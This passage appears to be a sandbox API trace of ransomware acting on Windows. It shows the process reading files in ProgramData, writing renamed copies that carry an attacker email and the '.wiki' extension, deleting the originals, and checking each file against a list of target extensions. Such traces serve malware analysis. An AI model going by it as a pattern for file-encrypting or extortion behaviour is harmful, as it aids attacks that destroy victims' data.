lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.510] WriteFile (in: hFile=0x320, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0171.510] SetEndOfFile (hFile=0x320) returned 1 [0171.510] CloseHandle (hObject=0x320) returned 1 [0171.511] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.511] SetEndOfFile (hFile=0x124) returned 1 [0171.512] CloseHandle (hObject=0x124) returned 1 [0171.513] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.513] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf")) returned 1 [0171.513] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.513] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.513] lstrlenW (lpString=".doc") returned 4 [0171.513] lstrcmpiW (lpString1=".doc", lpString2=".sdf") returned -1 [0171.513] lstrlenW (lpString=".docx") returned 5 [0171.513] lstrcmpiW (lpString1=".docx", lpString2="e.sdf") returned -1 [0171.514] lstrlenW (lpString=".pdf") returned 4 [0171.514] lstrcmpiW (lpString1=".pdf", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString=".xls") returned 4 [0171.514] lstrcmpiW (lpString1=".xls", lpString2=".sdf") returned 1 [0171.514] lstrlenW (lpString=".xlsx") returned 5 [0171.514] lstrcmpiW (lpString1=".xlsx", lpString2="e.sdf") returned -1 [0171.514] lstrlenW (lpString=".ppt") returned 4 [0171.514] lstrcmpiW (lpString1=".ppt", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString=".zip") returned 4 [0171.514] lstrcmpiW (lpString1=".zip", lpString2=".sdf") returned 1 [0171.514] lstrlenW (lpString=".rar") returned 4 [0171.514] lstrcmpiW (lpString1=".rar", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString=".bz2") returned 4 [0171.514] lstrcmpiW (lpString1=".bz2", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString=".7z") returned 3 [0171.514] lstrcmpiW (lpString1=".7z", lpString2="sdf") returned -1 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString=".dbf") returned 4 [0171.514] lstrcmpiW (lpString1=".dbf", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString=".1cd") returned 4 [0171.514] lstrcmpiW (lpString1=".1cd", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString=".jpg") returned 4 [0171.514] lstrcmpiW (lpString1=".jpg", lpString2=".sdf") returned -1 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.514] lstrlenW (lpString=".doc") returned 4 [0171.514] lstrcmpiW (lpString1=".doc", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString=".docx") returned 5 [0171.515] lstrcmpiW (lpString1=".docx", lpString2="e.sdf") returned -1 [0171.515] lstrlenW (lpString=".pdf") returned 4 [0171.515] lstrcmpiW (lpString1=".pdf", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString=".xls") returned 4 [0171.515] lstrcmpiW (lpString1=".xls", lpString2=".sdf") returned 1 [0171.515] lstrlenW (lpString=".xlsx") returned 5 [0171.515] lstrcmpiW (lpString1=".xlsx", lpString2="e.sdf") returned -1 [0171.515] lstrlenW (lpString=".ppt") returned 4 [0171.515] lstrcmpiW (lpString1=".ppt", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.515] lstrlenW (lpString=".zip") returned 4 [0171.515] lstrcmpiW (lpString1=".zip", lpString2=".sdf") returned 1 [0171.515] lstrlenW (lpString=".rar") returned 4 [0171.515] lstrcmpiW (lpString1=".rar", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString=".bz2") returned 4 [0171.515] lstrcmpiW (lpString1=".bz2", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString=".7z") returned 3 [0171.515] lstrcmpiW (lpString1=".7z", lpString2="sdf") returned -1 [0171.515] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.515] lstrlenW (lpString=".dbf") returned 4 [0171.515] lstrcmpiW (lpString1=".dbf", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.515] lstrlenW (lpString=".1cd") returned 4 [0171.515] lstrcmpiW (lpString1=".1cd", lpString2=".sdf") returned -1 [0171.515] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned 61 [0171.515] lstrlenW (lpString=".jpg") returned 4 [0171.515] lstrcmpiW (lpString1=".jpg", lpString2=".sdf") returned -1 [0171.516] lstrcmpiW (lpString1=".sdf", lpString2=".wiki") returned -1 [0171.516] lstrlenW (lpString="RacDatabase.sdf") returned 15 [0171.516] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0171.517] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=544768) returned 1 [0171.517] CloseHandle (hObject=0x124) returned 1 [0171.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf")) returned 0x2020 [0171.517] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.518] lstrlenW (lpString=".doc") returned 4 [0171.518] lstrcmpiW (lpString1=".doc", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString=".docx") returned 5 [0171.518] lstrcmpiW (lpString1=".docx", lpString2="e.sdf") returned -1 [0171.518] lstrlenW (lpString=".pdf") returned 4 [0171.518] lstrcmpiW (lpString1=".pdf", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString=".xls") returned 4 [0171.518] lstrcmpiW (lpString1=".xls", lpString2=".sdf") returned 1 [0171.518] lstrlenW (lpString=".xlsx") returned 5 [0171.518] lstrcmpiW (lpString1=".xlsx", lpString2="e.sdf") returned -1 [0171.518] lstrlenW (lpString=".ppt") returned 4 [0171.518] lstrcmpiW (lpString1=".ppt", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.518] lstrlenW (lpString=".zip") returned 4 [0171.518] lstrcmpiW (lpString1=".zip", lpString2=".sdf") returned 1 [0171.518] lstrlenW (lpString=".rar") returned 4 [0171.518] lstrcmpiW (lpString1=".rar", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString=".bz2") returned 4 [0171.518] lstrcmpiW (lpString1=".bz2", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString=".7z") returned 3 [0171.518] lstrcmpiW (lpString1=".7z", lpString2="sdf") returned -1 [0171.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.518] lstrlenW (lpString=".dbf") returned 4 [0171.518] lstrcmpiW (lpString1=".dbf", lpString2=".sdf") returned -1 [0171.518] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.519] lstrlenW (lpString=".1cd") returned 4 [0171.519] lstrcmpiW (lpString1=".1cd", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.519] lstrlenW (lpString=".jpg") returned 4 [0171.519] lstrcmpiW (lpString1=".jpg", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.519] lstrlenW (lpString=".doc") returned 4 [0171.519] lstrcmpiW (lpString1=".doc", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString=".docx") returned 5 [0171.519] lstrcmpiW (lpString1=".docx", lpString2="e.sdf") returned -1 [0171.519] lstrlenW (lpString=".pdf") returned 4 [0171.519] lstrcmpiW (lpString1=".pdf", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString=".xls") returned 4 [0171.519] lstrcmpiW (lpString1=".xls", lpString2=".sdf") returned 1 [0171.519] lstrlenW (lpString=".xlsx") returned 5 [0171.519] lstrcmpiW (lpString1=".xlsx", lpString2="e.sdf") returned -1 [0171.519] lstrlenW (lpString=".ppt") returned 4 [0171.519] lstrcmpiW (lpString1=".ppt", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.519] lstrlenW (lpString=".zip") returned 4 [0171.519] lstrcmpiW (lpString1=".zip", lpString2=".sdf") returned 1 [0171.519] lstrlenW (lpString=".rar") returned 4 [0171.519] lstrcmpiW (lpString1=".rar", lpString2=".sdf") returned -1 [0171.519] lstrlenW (lpString=".bz2") returned 4 [0171.519] lstrcmpiW (lpString1=".bz2", lpString2=".sdf") returned -1 [0171.661] lstrlenW (lpString=".7z") returned 3 [0171.661] lstrcmpiW (lpString1=".7z", lpString2="sdf") returned -1 [0171.661] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.661] lstrlenW (lpString=".dbf") returned 4 [0171.661] lstrcmpiW (lpString1=".dbf", lpString2=".sdf") returned -1 [0171.661] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.661] lstrlenW (lpString=".1cd") returned 4 [0171.661] lstrcmpiW (lpString1=".1cd", lpString2=".sdf") returned -1 [0171.661] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54 [0171.661] lstrlenW (lpString=".jpg") returned 4 [0171.661] lstrcmpiW (lpString1=".jpg", lpString2=".sdf") returned -1 [0171.661] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0171.661] lstrlenW (lpString="sql3294.tmp") returned 11 [0171.661] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql3294.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.662] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=20480) returned 1 [0171.662] CloseHandle (hObject=0x1b4) returned 1 [0171.662] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql3294.tmp")) returned 0x2020 [0171.662] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql3294.tmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.662] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql3294.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.662] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.662] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.662] lstrlenW (lpString=".doc") returned 4 [0171.662] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0171.662] lstrlenW (lpString=".docx") returned 5 [0171.662] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0171.662] lstrlenW (lpString=".pdf") returned 4 [0171.662] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0171.662] lstrlenW (lpString=".xls") returned 4 [0171.662] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0171.662] lstrlenW (lpString=".xlsx") returned 5 [0171.662] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0171.662] lstrlenW (lpString=".ppt") returned 4 [0171.662] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0171.662] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.662] lstrlenW (lpString=".zip") returned 4 [0171.662] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0171.663] lstrlenW (lpString=".rar") returned 4 [0171.663] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString=".bz2") returned 4 [0171.663] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString=".7z") returned 3 [0171.663] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0171.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.663] lstrlenW (lpString=".dbf") returned 4 [0171.663] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.663] lstrlenW (lpString=".1cd") returned 4 [0171.663] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.663] lstrlenW (lpString=".jpg") returned 4 [0171.663] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.663] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.663] lstrlenW (lpString=".doc") returned 4 [0171.663] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString=".docx") returned 5 [0171.663] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0171.663] lstrlenW (lpString=".pdf") returned 4 [0171.663] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0171.663] lstrlenW (lpString=".xls") returned 4 [0171.663] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0171.663] lstrlenW (lpString=".xlsx") returned 5 [0171.663] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0171.663] lstrlenW (lpString=".ppt") returned 4 [0171.663] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0171.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.664] lstrlenW (lpString=".zip") returned 4 [0171.664] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0171.664] lstrlenW (lpString=".rar") returned 4 [0171.664] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0171.664] lstrlenW (lpString=".bz2") returned 4 [0171.664] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0171.664] lstrlenW (lpString=".7z") returned 3 [0171.664] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0171.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.664] lstrlenW (lpString=".dbf") returned 4 [0171.664] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0171.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.664] lstrlenW (lpString=".1cd") returned 4 [0171.664] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0171.664] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql3294.tmp") returned 45 [0171.664] lstrlenW (lpString=".jpg") returned 4 [0171.664] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0171.664] lstrcmpiW (lpString1=".tmp", lpString2=".wiki") returned -1 [0171.664] lstrlenW (lpString="sql32A4.tmp") returned 11 [0171.664] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.665] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=20480) returned 1 [0171.665] CloseHandle (hObject=0x1b4) returned 1 [0171.665] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp")) returned 0x2020 [0171.665] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0171.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.665] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.665] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0171.666] GetLastError () returned 0x0 [0171.666] ReadFile (in: hFile=0x1b4, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x5000, lpOverlapped=0x0) returned 1 [0171.667] WriteFile (in: hFile=0x198, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x5010, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x5010, lpOverlapped=0x0) returned 1 [0171.668] ReadFile (in: hFile=0x1b4, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.669] WriteFile (in: hFile=0x198, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0171.669] SetEndOfFile (hFile=0x198) returned 1 [0171.669] CloseHandle (hObject=0x198) returned 1 [0171.669] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.669] SetEndOfFile (hFile=0x1b4) returned 1 [0171.670] CloseHandle (hObject=0x1b4) returned 1 [0171.670] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.670] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp" (normalized: "c:\\programdata\\microsoft\\rac\\temp\\sql32a4.tmp")) returned 1 [0171.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.670] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.670] lstrlenW (lpString=".doc") returned 4 [0171.671] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString=".docx") returned 5 [0171.671] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0171.671] lstrlenW (lpString=".pdf") returned 4 [0171.671] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString=".xls") returned 4 [0171.671] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0171.671] lstrlenW (lpString=".xlsx") returned 5 [0171.671] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0171.671] lstrlenW (lpString=".ppt") returned 4 [0171.671] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.671] lstrlenW (lpString=".zip") returned 4 [0171.671] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0171.671] lstrlenW (lpString=".rar") returned 4 [0171.671] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString=".bz2") returned 4 [0171.671] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString=".7z") returned 3 [0171.671] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0171.671] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.671] lstrlenW (lpString=".dbf") returned 4 [0171.671] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.671] lstrlenW (lpString=".1cd") returned 4 [0171.671] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.671] lstrlenW (lpString=".jpg") returned 4 [0171.671] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0171.671] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString=".doc") returned 4 [0171.672] lstrcmpiW (lpString1=".doc", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString=".docx") returned 5 [0171.672] lstrcmpiW (lpString1=".docx", lpString2="4.tmp") returned -1 [0171.672] lstrlenW (lpString=".pdf") returned 4 [0171.672] lstrcmpiW (lpString1=".pdf", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString=".xls") returned 4 [0171.672] lstrcmpiW (lpString1=".xls", lpString2=".tmp") returned 1 [0171.672] lstrlenW (lpString=".xlsx") returned 5 [0171.672] lstrcmpiW (lpString1=".xlsx", lpString2="4.tmp") returned -1 [0171.672] lstrlenW (lpString=".ppt") returned 4 [0171.672] lstrcmpiW (lpString1=".ppt", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString=".zip") returned 4 [0171.672] lstrcmpiW (lpString1=".zip", lpString2=".tmp") returned 1 [0171.672] lstrlenW (lpString=".rar") returned 4 [0171.672] lstrcmpiW (lpString1=".rar", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString=".bz2") returned 4 [0171.672] lstrcmpiW (lpString1=".bz2", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString=".7z") returned 3 [0171.672] lstrcmpiW (lpString1=".7z", lpString2="tmp") returned -1 [0171.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString=".dbf") returned 4 [0171.672] lstrcmpiW (lpString1=".dbf", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString=".1cd") returned 4 [0171.672] lstrcmpiW (lpString1=".1cd", lpString2=".tmp") returned -1 [0171.672] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\Temp\\sql32A4.tmp") returned 45 [0171.672] lstrlenW (lpString=".jpg") returned 4 [0171.672] lstrcmpiW (lpString1=".jpg", lpString2=".tmp") returned -1 [0171.673] lstrcmpiW (lpString1=".devicemetadata-ms", lpString2=".wiki") returned -1 [0171.673] lstrlenW (lpString="34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms") returned 54 [0171.673] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0171.673] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=14134) returned 1 [0171.673] CloseHandle (hObject=0x1b4) returned 1 [0171.673] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: 